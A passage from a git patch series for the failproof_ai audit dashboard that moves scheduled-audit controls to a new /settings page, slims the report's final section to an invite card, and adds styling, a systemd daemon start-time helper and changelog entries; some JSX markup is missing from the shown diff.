on and produces nothing, discoverable only by noticing that no digest ever + * arrives. The caller signs the user in first and retries. + * + * Turning it OFF never checks. An expired session must not be able to trap + * somebody into keeping a feature they are trying to disable. + * + * Note this gates SETTING UP the timer, not the machine's ongoing work: a + * session that later expires leaves the timer running and the local scan + * working, and only the digest stops. See `report-harm.ts`. + * * Returns the value actually stored (re-read), so an optimistic UI can confirm * against the source of truth rather than assume its own guess landed. */ export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: boolean }> { + if (enabled) { + const who = await whoAmI(); + if (!who) { + throw new Error("sign in before scheduling audits"); + } + } const next = updateConfig({ audit: { auto: enabled } }); return { auto: next.audit.auto }; } @@ -32,42 +54,12 @@ export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: bool * * The clamp lives in `fp-config.readIntervalDays` (1..90, with 0/negatives/ * fractions falling back to the default) and is DELIBERATELY not reimplemented - * here: we write the raw value and then RE-READ, so what we return to the UI is - * exactly what the config decided to keep. Reflecting the re-read value is how a - * hand-typed 3650 shows up in the dashboard as the 90 the config actually - * enforces, with no second copy of the bounds to drift. + * here: we write the raw value and then RE-READ, so what comes back is exactly + * what the config decided to keep. Reflecting the re-read value is how a + * hand-typed 3650 shows up as the 90 the config actually enforces, with no + * second copy of the bounds to drift. */ export async function setAuditIntervalAction(days: number): Promise<{ intervalDays: number }> { updateConfig({ audit: { intervalDays: days } }); - // Re-read through readConfig so the returned value carries the config's own - // clamp, not the raw input. return { intervalDays: readConfig().audit.intervalDays }; } - -/** - * Turn emailed harm digests on or off. - * - * A SEPARATE switch from `auto`, which is the point: `auto` scans this machine - * locally and needs no account, and `audit --help` promises that scan "runs - * fully offline — no account or network required". This is the one that makes - * anything leave the box. - * - * Turning it ON is refused without a session rather than silently accepted. The - * config would take the value happily, and the machine would then scan on a - * timer, find something, and have nothing to send it with — a switch that reads - * as on while doing nothing, discoverable only by noticing that no email ever - * arrives. The caller signs the user in first and retries. - * - * Turning it OFF never checks, because an expired session must not be able to - * trap someone into keeping a feature they want to disable. - */ -export async function setAuditEmailAction(enabled: boolean): Promise<{ emailEnabled: boolean }> { - if (enabled) { - const who = await whoAmI(); - if (!who) { - throw new Error("sign in before enabling emailed reports"); - } - } - const next = updateConfig({ audit: { emailEnabled: enabled } }); - return { emailEnabled: next.audit.emailEnabled }; -} diff --git a/app/audit/_components/audit-dashboard.tsx b/app/audit/_components/audit-dashboard.tsx index ce64dfc3..372325e8 100644 --- a/app/audit/_components/audit-dashboard.tsx +++ b/app/audit/_components/audit-dashboard.tsx @@ -10,7 +10,7 @@ * 02 StrengthsSection — what it's great at * 03 QuirksSection — what slipped through * 04 HowToImproveSection — install / configure - * 05 ComeBackBetterSection — reminder + perks + * 05 ComeBackBetterSection — spread the audit (invite) * * Empty / running states fall back to EmptyState and RunProgress. */ @@ -355,11 +355,7 @@ function MainReport({ projected={projected} projectedGrade={projectedGrade} /> - onRerun("return_section")} - score={score} - /> +
diff --git a/app/audit/_components/come-back-better-section.tsx b/app/audit/_components/come-back-better-section.tsx index f0fc4db4..56322fd7 100644 --- a/app/audit/_components/come-back-better-section.tsx +++ b/app/audit/_components/come-back-better-section.tsx @@ -1,522 +1,138 @@ "use client"; /** - * Section 05 — COME BACK BETTER. "build the habit." + * Section 05 — SPREAD THE AUDIT. * - * Two panels, side by side: + * One job: get someone else to run this on their own machine. The scheduled- + * audit controls used to live here too and have moved to `/settings`, reachable + * from the gear in the header — they are machine configuration, and this is the + * end of a report. Mixing "here is what your agent did" with "here is how to + * configure a background service" made the last thing you read before leaving + * the page a settings form. * - * • **Scheduled audit** — everything this machine does on a timer. The scan - * switch, how often, whether a scan that finds something mails you, who it - * would mail, and a way to run one now. - * • **Share with friends** — the invite. - * - * ## Why this absorbed /settings - * - * The scheduled-audit controls lived on their own page, which meant the two - * questions a person has after reading their audit — "can this happen - * automatically" and "will it tell me" — were answered somewhere they had no - * reason to go. The controls now sit under the report they act on. `/settings` - * is gone rather than redirected: it held nothing else. - * - * ## Two switches, deliberately - * - * `auto` scans this machine on a timer and needs no account. `emailEnabled` - * sends a digest when a scan finds something harmful, and needs a sign-in. - * Collapsing them into one would make scheduled scanning require an account, - * and `audit --help` promises the scan "runs fully offline — no account or - * network required". Keeping them apart is what keeps that true. - * - * ## The dialog is shared, so intent is explicit - * - * Both the email switch and the invite button can open the same `AuthDialog`. - * `pendingAction` records WHICH, so signing in resumes the thing that was asked - * for. It used to be tracked only as the dialog's copy while the success - * handler always set a reminder, which is how signing in to send an invite - * scheduled a reminder instead. + * The AuthDialog is still here because inviting needs a sender identity to Cc. + * It is now the ONLY thing on this section that opens it, which is what makes + * the resume unambiguous — the bug this section used to have was a shared + * dialog whose success handler assumed which control had opened it. */ import { useCallback, useEffect, useRef, useState } from "react"; import { usePostHog } from "@/contexts/PostHogContext"; -import { - getScheduledAuditAction, - type ScheduledAuditView, -} from "@/app/actions/get-scheduled-audit"; -import { - setAutoAuditAction, - setAuditEmailAction, - setAuditIntervalAction, -} from "@/app/actions/update-scheduled-audit"; -import { toast } from "@/app/components/toast"; -import { formatRelativeTime } from "@/lib/format-duration"; import { AuthDialog, type AuthedUser } from "./auth-dialog"; import { InviteDialog } from "./invite-dialog"; interface Props { - isRunning: boolean; - onRerun: () => void; /** Current audit score (0–100), forwarded into the invite email body. */ score?: number; } const PERKS_PERK = "wanna know how your friends' agents score?"; -/** - * Copy for the shared AuthDialog, DERIVED from the pending intent rather than - * stored beside it — so the words and the effect cannot disagree. - */ -type PendingAction = null | { kind: "invite" } | { kind: "email-optin" }; +const INVITE_AUTH_COPY = { + headline: "Oops! Login required", + subhead: "What's your email?", +} as const; -function authCopyFor(action: PendingAction): { headline?: string; subhead?: string } { - if (action?.kind === "invite") { - return { headline: "Oops! Login required", subhead: "What's your email?" }; - } - if (action?.kind === "email-optin") { - return { - headline: "where should the report go?", - subhead: "we'll send a one-time code to confirm.", - }; - } - return {}; -} - -const MIN_INTERVAL_DAYS = 1; -const MAX_INTERVAL_DAYS = 90; - -function fmtAbsolute(iso: string): string { - return new Date(iso).toLocaleString(undefined, { - month: "short", - day: "numeric", - hour: "2-digit", - minute: "2-digit", - }); -} - -/** "in 6d" / "in 3h" / "now". `formatRelativeTime` only speaks past. */ -function fmtFuture(ms: number): string { - const diff = ms - Date.now(); - if (diff <= 0) return "now"; - if (diff < 3_600_000) return `in ${Math.max(1, Math.floor(diff / 60_000))}m`; - if (diff < 86_400_000) return `in ${Math.floor(diff / 3_600_000)}h`; - return `in ${Math.floor(diff / 86_400_000)}d`; -} - -/** The switch /policies uses. Copied shape, not a new control. */ -function Toggle({ - enabled, - onChange, - disabled, - label, -}: { - enabled: boolean; - onChange: () => void; - disabled?: boolean; - label: string; -}) { - return ( - - ); -} - -export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { +export function ComeBackBetterSection({ score }: Props) { const { capture } = usePostHog(); - - const [view, setView] = useState(null); - const [auto, setAuto] = useState(false); - const [intervalDays, setIntervalDays] = useState(7); - const [emailEnabled, setEmailEnabled] = useState(false); - const [busy, setBusy] = useState(false); - - const [dialogOpen, setDialogOpen] = useState(false); - const [inviteDialogOpen, setInviteDialogOpen] = useState(false); - const [pendingAction, setPendingAction] = useState(null); - - const ctaShownRef = useRef(false); - const mounted = useRef(true); - - const reload = useCallback(async () => { - try { - const next = await getScheduledAuditAction(); - if (!mounted.current) return; - setView(next); - setAuto(next.auto); - setIntervalDays(next.intervalDays); - setEmailEnabled(next.emailEnabled); - } catch { - // Leave whatever is on screen. A failed refresh must not blank controls - // that are describing real machine state. - } - }, []); - - useEffect(() => { - mounted.current = true; - void reload(); - return () => { - mounted.current = false; - }; - }, [reload]); + const [signedIn, setSignedIn] = useState<{ id: string; email: string } | null>(null); + const [authOpen, setAuthOpen] = useState(false); + const [inviteOpen, setInviteOpen] = useState(false); + const shownRef = useRef(false); useEffect(() => { - if (ctaShownRef.current || !view) return; - ctaShownRef.current = true; - capture("audit_return_section_shown", { - auto: view.auto, - email_enabled: view.emailEnabled, - signed_in: view.signedInAs !== null, - daemon: view.daemon, - }); - }, [capture, view]); - - const signedIn = view?.signedInAs ?? null; - const loading = view === null; - - // ── scheduled scanning ───────────────────────────────────────────────────── - - const onToggleAuto = useCallback(async () => { - const next = !auto; - setAuto(next); // optimistic - setBusy(true); - try { - const res = await setAutoAuditAction(next); - setAuto(res.auto); - capture("audit_auto_toggled", { enabled: res.auto }); - toast(res.auto ? "scanning this machine on a schedule." : "scheduled scanning off."); - await reload(); - } catch { - setAuto(!next); // revert - toast("could not save that."); - } finally { - setBusy(false); - } - }, [auto, capture, reload]); - - const commitInterval = useCallback( - async (raw: number) => { - setBusy(true); - try { - // The config owns the 1..90 clamp; reflect whatever it stored rather - // than a second copy of the bounds that can drift. - const res = await setAuditIntervalAction(raw); - setIntervalDays(res.intervalDays); - toast(`scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`); - } catch { - setIntervalDays(view?.intervalDays ?? 7); - toast("could not save that."); - } finally { - setBusy(false); - } - }, - [view?.intervalDays], - ); - - // ── emailed reports ──────────────────────────────────────────────────────── - - const enableEmail = useCallback(async () => { - setBusy(true); - try { - const res = await setAuditEmailAction(true); - setEmailEnabled(res.emailEnabled); - capture("audit_email_reports_toggled", { enabled: true }); - toast("we'll email you when a scan finds something."); - await reload(); - } catch { - setEmailEnabled(false); - toast("could not turn that on."); - } finally { - setBusy(false); - } - }, [capture, reload]); - - const onToggleEmail = useCallback(async () => { - if (emailEnabled) { - setBusy(true); + // Cancellation guard rather than a bare fire-and-forget: the probe outlives + // a fast unmount otherwise, and setting state on a gone component is the + // kind of warning people learn to scroll past. + let cancelled = false; + (async () => { try { - const res = await setAuditEmailAction(false); - setEmailEnabled(res.emailEnabled); - capture("audit_email_reports_toggled", { enabled: false }); - toast("emailed reports off."); - await reload(); + const res = await fetch("/api/auth/status", { cache: "no-store" }); + if (!res.ok || cancelled) return; + const body = (await res.json()) as { + authenticated?: boolean; + user?: { id: string; email: string }; + }; + if (!cancelled) setSignedIn(body.authenticated && body.user ? body.user : null); } catch { - toast("could not turn that off."); - } finally { - setBusy(false); + // Leave whatever we last knew. A failed probe is not evidence of a + // signed-out user, and downgrading on one would prompt for a login the + // person already completed. } - return; - } - // Turning it ON needs somewhere to send to. Sign in first, then resume — - // the server action refuses an anonymous enable rather than storing a - // switch that reads as on and does nothing. - if (!signedIn) { - setPendingAction({ kind: "email-optin" }); - setDialogOpen(true); - return; - } - await enableEmail(); - }, [capture, emailEnabled, enableEmail, reload, signedIn]); - - const onSignOut = useCallback(async () => { - setBusy(true); - try { - await fetch("/api/auth/logout", { method: "POST" }); - // Signing out takes emailed reports with it. Leaving the switch on would - // leave a machine that scans, finds something, and has nothing to send it - // with — visible only by noticing that no email ever arrives. - await setAuditEmailAction(false).catch(() => {}); - toast("signed out."); - await reload(); - } catch { - toast("could not sign out."); - } finally { - setBusy(false); - } - }, [reload]); + })(); + return () => { + cancelled = true; + }; + }, []); - // ── invite ───────────────────────────────────────────────────────────────── + useEffect(() => { + if (shownRef.current) return; + shownRef.current = true; + capture("audit_share_section_shown", { signed_in: signedIn !== null }); + }, [capture, signedIn]); const handleInvite = useCallback(() => { capture("audit_perks_invite_clicked", { signed_in: signedIn !== null }); - // Unauthed users sign in first so the invite has a sender to Cc — and - // `pendingAction` is what brings them back HERE afterwards. + // Unauthed users sign in first, so the invite has a sender to Cc. if (!signedIn) { - setPendingAction({ kind: "invite" }); - setDialogOpen(true); + setAuthOpen(true); return; } - setInviteDialogOpen(true); + setInviteOpen(true); }, [capture, signedIn]); - /** Resume whatever the user was doing before they were asked to sign in. */ const handleAuthed = useCallback( async (user: AuthedUser) => { - const action = pendingAction; - capture("audit_auth_completed", { pending_action: action?.kind ?? "none" }); - setPendingAction(null); - await reload(); - - if (action?.kind === "invite") { - setInviteDialogOpen(true); - return; - } - if (action?.kind === "email-optin") { - await enableEmail(); - } - // No pending action: the dialog was dismissed and reopened, or opened for - // the sign-in alone. Doing nothing is correct. - void user; + setSignedIn(user); + setAuthOpen(false); + capture("audit_auth_completed", { source: "share_section" }); + // Resume the one thing that could have opened the dialog. + setInviteOpen(true); }, - [capture, enableEmail, pendingAction, reload], + [capture], ); - // ── derived status ───────────────────────────────────────────────────────── - - const daemonRunning = view?.daemon === "running"; - const daemonUnsupported = view?.daemon === "unsupported-platform"; - const sched = view?.schedule ?? null; - const lastExitBad = - sched?.lastExitCode != null && sched.lastExitCode !== 0 && sched.lastExitCode !== 75; - return ( -
+
- 05 come back better + 05 share
-

build the habit

- -
- {/* ── Scheduled audit ── */} -
-
-
-
Scheduled audit
-
scan this machine on a timer, in the background.
-
- {view && ( - - {daemonRunning - ? "DAEMON RUNNING" - : daemonUnsupported - ? "UNSUPPORTED" - : view.daemon === "not-installed" - ? "NOT INSTALLED" - : "DAEMON STOPPED"} - - )} -
- -
- void onToggleAuto()} - label={auto ? "turn off scheduled scanning" : "turn on scheduled scanning"} - /> - {auto ? "scanning this machine on a schedule." : "scan this machine on a schedule."} -
- -
- scan every - setIntervalDays(Number(e.target.value))} - onBlur={(e) => { - const v = Number(e.target.value); - if (!Number.isFinite(v)) { - setIntervalDays(view?.intervalDays ?? 7); - return; - } - if (v !== view?.intervalDays) void commitInterval(v); - }} - /> - days. - - {MIN_INTERVAL_DAYS}–{MAX_INTERVAL_DAYS} - -
- -
- void onToggleEmail()} - label={emailEnabled ? "turn off emailed reports" : "turn on emailed reports"} - /> - email me when a scan finds something harmful. -
- - {signedIn ? ( -
- signed in as{" "} - {signedIn.email} - -
- ) : ( - emailEnabled && ( - // The state the reporter surfaces as "signed out": the switch is - // on, the scans keep running, and nothing can be sent. -
- emailed reports are on but this machine is signed out — sign in to resume them. -
- ) - )} - - {auto && view && !daemonRunning && ( -
- {daemonUnsupported - ? "the background daemon isn't available on this platform, so scheduled scans can't run here." - : view.daemon === "not-installed" - ? "scheduled scanning is on, but the background service isn't installed. run `failproofai config`." - : "scheduled scanning is on, but the background service is stopped. run `failproofai config`."} -
- )} - -
-
- last audit result:{" "} - {view?.lastResultAt ? ( - {fmtAbsolute(view.lastResultAt)} - ) : ( - none yet - )} -
- {auto && sched?.nextDueAtMs != null && ( -
- next scheduled scan:{" "} - {fmtFuture(sched.nextDueAtMs)} -
- )} - {sched?.lastRunAtMs != null && ( -
- last scheduled scan:{" "} - {formatRelativeTime(sched.lastRunAtMs)} - {lastExitBad && (exit {sched.lastExitCode})} -
- )} - -
-
- - {/* ── Share ── */} -
-
Share with friends
-
{PERKS_PERK}
- -
- {"// invites are sent from failproof.ai, Cc'd to you, with a link to run their own audit."} -
+

spread the audit

+ +
+
Share with friends
+
{PERKS_PERK}
+ +
+ {"// invites are sent from failproof.ai, Cc'd to you, with a link to run their own audit."}
-
- {"// the scan reads every session transcript on disk across all installed agent CLIs. runs entirely on this machine — nothing is sent anywhere unless emailed reports are on, and then only counts and redacted examples."} -
- setInviteDialogOpen(false)} + onClose={() => setInviteOpen(false)} onUnauthorized={() => { - // Session expired between probe and submit. Still the invite intent, - // so re-authing reopens THIS dialog rather than dropping them back on - // the page having achieved nothing. - setInviteDialogOpen(false); - setPendingAction({ kind: "invite" }); - setDialogOpen(true); - void reload(); + // Session expired between the probe and the submit. Bounce through + // the dialog; success reopens the invite, since that is the only + // thing it can be resuming. + setInviteOpen(false); + setSignedIn(null); + setAuthOpen(true); }} /> { - // Dismissing abandons the intent. Leaving it set would make the NEXT - // sign-in, from any CTA, resume something the user walked away from. - setPendingAction(null); - setDialogOpen(false); - }} - onAuthed={(u) => { - setDialogOpen(false); - void handleAuthed(u); - }} + open={authOpen} + source="share_section" + headline={INVITE_AUTH_COPY.headline} + subhead={INVITE_AUTH_COPY.subhead} + onClose={() => setAuthOpen(false)} + onAuthed={(u) => void handleAuthed(u)} />
); diff --git a/app/audit/audit-styles.css b/app/audit/audit-styles.css index 86fd4c1b..2ab96462 100644 --- a/app/audit/audit-styles.css +++ b/app/audit/audit-styles.css @@ -1144,4 +1144,12 @@ padding: 16px 0; } .quirks-thead { display: none; } -} \ No newline at end of file +} +/* ── Section 05: the share card, now alone ─────────────────────────────────── + The scheduled-audit panel moved to /settings, so this is the only card in + the section. Capped rather than left full-bleed: a single card stretched + across the report width reads as an empty row with something in the corner, + and the invite is a small ask that should look like one. */ +.share-card { + max-width: 420px; +} diff --git a/app/globals.css b/app/globals.css index a9d2082e..303fb3fd 100644 --- a/app/globals.css +++ b/app/globals.css @@ -245,6 +245,39 @@ input[type="date"] { color-scheme: dark; } } .h-actions { display: flex; align-items: center; gap: 8px; flex: none; } +/* Icon-only chrome control (settings). Sized to sit level with the refresh + group beside it, and dim until touched so the bar stays text-forward — the + icon is an affordance, not a highlight. */ +.h-icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 26px; + height: 26px; + color: var(--ink-2); + border: 1px solid transparent; + transition: + color 140ms cubic-bezier(0.22, 1, 0.36, 1), + border-color 140ms cubic-bezier(0.22, 1, 0.36, 1), + background-color 140ms cubic-bezier(0.22, 1, 0.36, 1); +} +.h-icon-btn:hover { + color: var(--ink); + border-color: var(--line-2); + background: rgba(255, 255, 255, 0.03); +} +.h-icon-btn.is-active { + color: var(--accent-pink); + border-color: var(--accent-pink); +} +.h-icon-btn:focus-visible { + outline: 2px solid var(--accent-pink); + outline-offset: 2px; +} +@media (prefers-reduced-motion: reduce) { + .h-icon-btn { transition: none; } +} + /* header meta cluster (version + section label) — never wrap mid-token */ .h-meta { display: flex; align-items: center; gap: 6px; white-space: nowrap; flex: none; } .h-version { diff --git a/app/settings/page.tsx b/app/settings/page.tsx new file mode 100644 index 00000000..397cbff5 --- /dev/null +++ b/app/settings/page.tsx @@ -0,0 +1,39 @@ +import type { Metadata } from "next"; +import { + getScheduledAuditAction, + type ScheduledAuditView, +} from "@/app/actions/get-scheduled-audit"; +import SettingsClient from "./settings-client"; + +export const metadata: Metadata = { + title: "settings · failproof_ai", + description: "Scheduled audits for this machine.", +}; + +export const dynamic = "force-dynamic"; + +/** + * Machine-scoped settings. + * + * The state is read HERE, on the server, and handed to the client as its + * initial value — rather than fetched from a `useEffect` after mount. The + * difference is visible: with a client-side load the page paints "off. nothing + * runs and nothing is sent." and then flips to the truth a moment later, so a + * page whose whole job is to tell you whether a security feature is on spends + * its first frame telling you the opposite. It reads from local files, so there + * is no latency argument for deferring it either. + * + * `force-dynamic` because that state is `~/.failproofai/config.json` and the + * daemon's status — a cached render would show a stale machine. + */ +export default async function SettingsPage() { + let initial: ScheduledAuditView | null = null; + try { + initial = await getScheduledAuditAction(); + } catch { + // Left null; the client renders the unreadable-config message. Throwing + // here would replace a page that can explain itself with an error boundary + // that cannot. + } + return ; +} diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx new file mode 100644 index 00000000..6a9e18de --- /dev/null +++ b/app/settings/settings-client.tsx @@ -0,0 +1,496 @@ +"use client"; + +/** + * /settings — scheduled audits for this machine. + * + * ## The design + * + * The subject is not a preferences form, it is a **control panel for a service + * running on your box**. So the page is built from what that service actually + * has: a state (running or not), a timer with a position on it, and an identity + * it reports under. Everything is drawn from the app's existing tokens — the + * charcoal stack, pink for the control that acts, mint for the thing that is + * alive — and from chrome that already exists (`.report`, `.section`, `.panel` + * with its corner brackets, `.btn-press` with the hard pixel offset). Nothing + * new was invented where something was already there. + * + * **The signature is the schedule tape.** A scan on a timer has exactly one + * fact worth seeing at a glance and no number can express it: where you are + * between the last scan and the next. So it is drawn — a monospace rule with a + * mint span for elapsed, a pink marker for now, and the two ends labelled. + * It encodes something true about the content rather than decorating it, which + * is the only reason to draw anything. + * + * Everything else is deliberately quiet. One accent, one drawn element, and the + * rest is type and space. + * + * ## One switch, not two + * + * Scheduling and mailing are the same decision — the reason to put a scan on a + * timer is to be told what it found. So there is one toggle, it requires a + * sign-in, and "signed out with the timer on" is a real state the panel names + * rather than a contradiction it prevents. + */ + +import { useCallback, useEffect, useRef, useState } from "react"; +import { + getScheduledAuditAction, + type ScheduledAuditView, +} from "@/app/actions/get-scheduled-audit"; +import { + setAutoAuditAction, + setAuditIntervalAction, +} from "@/app/actions/update-scheduled-audit"; +import { triggerRun, RerunError } from "@/app/audit/_components/rerun-button"; +import { AuthDialog, type AuthedUser } from "@/app/audit/_components/auth-dialog"; +import { toast } from "@/app/components/toast"; +import { formatRelativeTime } from "@/lib/format-duration"; +import "./settings.css"; + +const MIN_INTERVAL_DAYS = 1; +const MAX_INTERVAL_DAYS = 90; + +function fmtAbsolute(ms: number): string { + return new Date(ms).toLocaleString(undefined, { + month: "short", + day: "numeric", + hour: "2-digit", + minute: "2-digit", + }); +} + +/** "6d 4h" / "3h" / "12m" / "now". `formatRelativeTime` only speaks past. */ +function fmtUntil(ms: number, now: number): string { + const diff = ms - now; + if (diff <= 0) return "now"; + const d = Math.floor(diff / 86_400_000); + const h = Math.floor((diff % 86_400_000) / 3_600_000); + if (d > 0) return h > 0 ? `${d}d ${h}h` : `${d}d`; + if (h > 0) return `${h}h`; + return `${Math.max(1, Math.floor(diff / 60_000))}m`; +} + +/** + * The schedule tape — where this machine is between two scans. + * + * Drawn rather than stated because the fact is a POSITION, and a position is + * the one thing a number cannot show at a glance. The filled span is elapsed, + * the marker is now, the ends are the two scans. + * + * Renders nothing without both ends: a machine that has never run a scheduled + * scan has no interval to be inside, and an empty rail claiming otherwise would + * be decoration. + */ +function ScheduleTape({ + lastRunAtMs, + nextDueAtMs, + now, +}: { + lastRunAtMs: number | null; + nextDueAtMs: number | null; + /** Stamped by the parent on load and on every focus refresh. Passed in + * rather than read here so this component stays pure during render — and so + * the marker moves when the page is refocused, which is the only moment + * anyone is looking at it. */ + now: number; +}) { + if (lastRunAtMs == null || nextDueAtMs == null || nextDueAtMs <= lastRunAtMs) return null; + const pct = Math.min(100, Math.max(0, ((now - lastRunAtMs) / (nextDueAtMs - lastRunAtMs)) * 100)); + + return ( +
(typeof v === "number" && Number.isFinite(v) ? v : null); + return { + cachedAt: entry.cachedAt, + findings: count(result?.totals?.hits), + sessionsScanned: count(result?.transcripts?.scanned), + eventsScanned: count(result?.eventsScanned), + }; } catch { return null; } diff --git a/src/hooks/daemon-service.ts b/src/hooks/daemon-service.ts index 8db0f374..8fa00d6e 100644 --- a/src/hooks/daemon-service.ts +++ b/src/hooks/daemon-service.ts @@ -16,7 +16,7 @@ import { unlinkSync, rmSync, } from "node:fs"; -import { homedir, tmpdir, userInfo } from "node:os"; +import { homedir, tmpdir, uptime, userInfo } from "node:os"; import { resolve } from "node:path"; import { execFileSync } from "node:child_process"; import { hookLogWarn } from "./hook-logger"; @@ -1797,3 +1797,63 @@ export function daemonServiceStatus(): DaemonServiceStatus { return "stopped"; } } + +/** + * When the running daemon started, as epoch ms — the source for /settings' + * "up 11d" sub-line. Null whenever the answer isn't knowable. + * + * **From the MONOTONIC stamp, not the printed date.** `ActiveEnterTimestamp` + * renders in the host's locale and timezone abbreviation (`Fri 2026-08-14 + * 19:45:13 IST`), which `Date.parse` reads as invalid on most abbreviations and, + * worse, silently mis-parses on the few it recognises — a settings page + * claiming the daemon started three hours in the future is a worse failure than + * one that says nothing. `ActiveEnterTimestampMonotonic` is microseconds since + * boot, locale-free, and pairs with `os.uptime()` to give the epoch time back. + * + * An EPOCH time rather than a duration, so the page keeps counting without + * re-fetching: a duration computed on the server is wrong the moment it renders. + * + * Linux only for now. launchd exposes no equivalent, so macOS would need the + * job's pid out of `launchctl print` and then `ps -o etime=` — a SECOND + * privileged call on every settings render, since reading a LaunchDaemon in the + * system domain needs elevation. The sub-line is not worth doubling the sudo + * traffic of the page; the status itself still renders there. + */ +export function daemonStartedAtMs(): number | null { + if (process.platform !== "linux") return null; + if (!existsSync(systemdUnitPath())) return null; + try { + const raw = execFileSync( + "systemctl", + ["show", systemdUnitName(), "-p", "ActiveEnterTimestampMonotonic", "--value"], + { stdio: ["ignore", "pipe", "ignore"], timeout: SERVICE_CMD_TIMEOUT_MS }, + ) + .toString() + .trim(); + return startedAtFromMonotonic(Number(raw), uptime(), Date.now()); + } catch { + return null; + } +} + +/** + * The arithmetic behind `daemonStartedAtMs`, split out so it can be tested + * without a systemd on the machine running the tests. + * + * `activeEnterMonotonicUs` is microseconds since boot; `hostUptimeSecs` is + * `os.uptime()`. systemd writes 0 for a unit that has never been activated, and + * a stamp AHEAD of the host's uptime cannot be true — both mean "no answer" + * rather than a number, because a wrong uptime is indistinguishable from a right + * one to the person reading it. + */ +export function startedAtFromMonotonic( + activeEnterMonotonicUs: number, + hostUptimeSecs: number, + nowMs: number, +): number | null { + if (!Number.isFinite(activeEnterMonotonicUs) || activeEnterMonotonicUs <= 0) return null; + if (!Number.isFinite(hostUptimeSecs) || hostUptimeSecs <= 0) return null; + const activeForMs = hostUptimeSecs * 1000 - activeEnterMonotonicUs / 1000; + if (activeForMs < 0) return null; + return Math.round(nowMs - activeForMs); +} From 3c8ced161f5f09c5455dad4aec45c29995ac03b0 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 01:21:20 +0530 Subject: [PATCH 11/24] fix(ui): one colour per section eyebrow; settings masthead MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The label read `━━ audit · first run` in three colours — pink rule, dim dot, mint text — presenting one fact as three things on a line. `.section-label .glyph` was declared twice, in globals.css and again in audit/audit-styles.css, and the audit copy loads second. Changing only the first one edited a value nothing read, and the page kept rendering pink; both inherit now, so the two files cannot silently disagree again. /settings drops its `━━ this machine ━━` eyebrow — the h1 already says settings and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 ++ app/audit/_components/empty-state.tsx | 4 ++-- app/audit/_components/run-progress.tsx | 2 +- app/audit/audit-styles.css | 6 +++++- app/globals.css | 7 ++++++- app/settings/settings-client.tsx | 5 +---- app/settings/settings.css | 9 --------- 7 files changed, 17 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3193be93..60f021cf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Make a section eyebrow one colour, and drop the one on `/settings`. The label read `━━ audit · first run` in three colours — a pink rule, a dim dot, mint text — which presented one fact as three things happening on a line. `.section-label .glyph` was ALSO declared twice, in `globals.css` and again in `audit/audit-styles.css`, and the audit copy loads second: the first fix changed the value nobody was reading, and the page kept rendering the old colour. Both now inherit, so the label is a single colour and the two files cannot drift apart again silently. `/settings` loses its `━━ this machine ━━` eyebrow entirely — the h1 says "settings" and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." (#698) + - Rebuild `/settings` as a console for the service, not a card floating on a black page. Two rows drawn as one instrument: a **stat row** — daemon, next scan, last scan, findings — and a **panel row** carrying the controls beside what the scan actually does. The page used to answer one question ("is the toggle on"); it now answers the two anybody actually has in front of a background service, which is what it is doing right now and what it will do with what it finds. Every hairline is a `gap: 1px` over a line-coloured background rather than a border per cell, because borders double where cells meet and vanish at the edges — the grid is one pixel everywhere by construction instead of by arithmetic. The design doc this came from specified its own palette and two new webfonts (`#050506`, `#ff3b66`, `#3ee6a4`, VT323, IBM Plex Mono); it is built on the shipped tokens instead, so `/settings` and `/audit` remain one product a click apart, and `--warn #e8b339` is dropped rather than introduced — pink is the only channel this brand has for "needs a person", and a third hue would have been a new rule for one page. **Three of the four stats needed no new storage and two are better than the doc assumed**: the countdown comes from the daemon's own `next_due_at_ms` rather than last-scan-plus-interval, which silently drifts the moment the interval changes mid-cycle; and the daemon's state keeps `daemonServiceStatus()`'s four answers, because "installed but its binary is missing" is a different fix from "it crashed" and a heartbeat file cannot tell them apart. The `findings` stat reports THIS scan rather than a lifetime total, which needed a counter, a writer on both the CLI and daemon paths, and a decision about what a reset does to it — none of which the stat was worth. `readDashboardCacheMeta` now returns the counts alongside the timestamp, and deliberately still bypasses the TTL: the reader that drops an aged entry is right for rendering results and exactly backwards for a stat whose subject is that the scan was a while ago — mixing the two readers is how a page ends up showing "6 days ago" beside a blank count. An unreadable count renders as `—`, never as `0`, since a machine that scanned and found nothing is not the same claim as a file that failed to parse. `daemonStartedAtMs()` reads systemd's MONOTONIC activation stamp rather than the printed `ActiveEnterTimestamp`, whose locale-and-abbreviation format (`Fri 2026-08-14 19:45:13 IST`) `Date.parse` rejects on most abbreviations and mis-parses on the rest; it returns an absolute time so the page keeps counting without re-fetching, and null on macOS rather than a guess, since launchd would need a second privileged call per render to answer. The schedule tape survives, under the panels: the stats give numbers and the tape gives a position, which is the one thing no number shows at a glance. (#698) - Put scheduled audits on the command line: `failproofai audit --schedule [days]`, `--no-schedule`, and `--status`, with email-OTP sign-in in the terminal. The switch existed only on a settings page, in a browser — and `failproofaid` is a SYSTEM service (`WantedBy=multi-user.target`, starts at boot, no login, survives logout) built precisely for headless boxes, detached tmux, cron and CI runners, not one of which can open a page. The feature shipped for machines with no way to turn it on. **Parity is structural, not a promise.** Every write here calls the same `updateConfig` the dashboard's server actions call, and the session goes through the same `auth-store` — one `config.json`, one `audit/session.json`, one writer for each — so "the CLI and the dashboard always agree" is a property of the shape rather than something tests have to defend; verified live in both directions. Signing in reuses `requestLoginCode` / `verifyLoginCode` and writes the same `0600` session file the dashboard writes, so a terminal login shows up in the browser and signing out there ends the session the scheduled audit was going to report under. `--schedule` requires a session for the reason `setAutoAuditAction` does: scheduling and mailing are ONE decision, and a timer with nobody to tell is a switch that reads as on and produces nothing. `--no-schedule` never checks, because an expired session must not trap somebody into keeping a feature they are trying to disable, and it leaves the session alone — signing out is a separate decision. A bad day count is rejected BEFORE the sign-in, so a 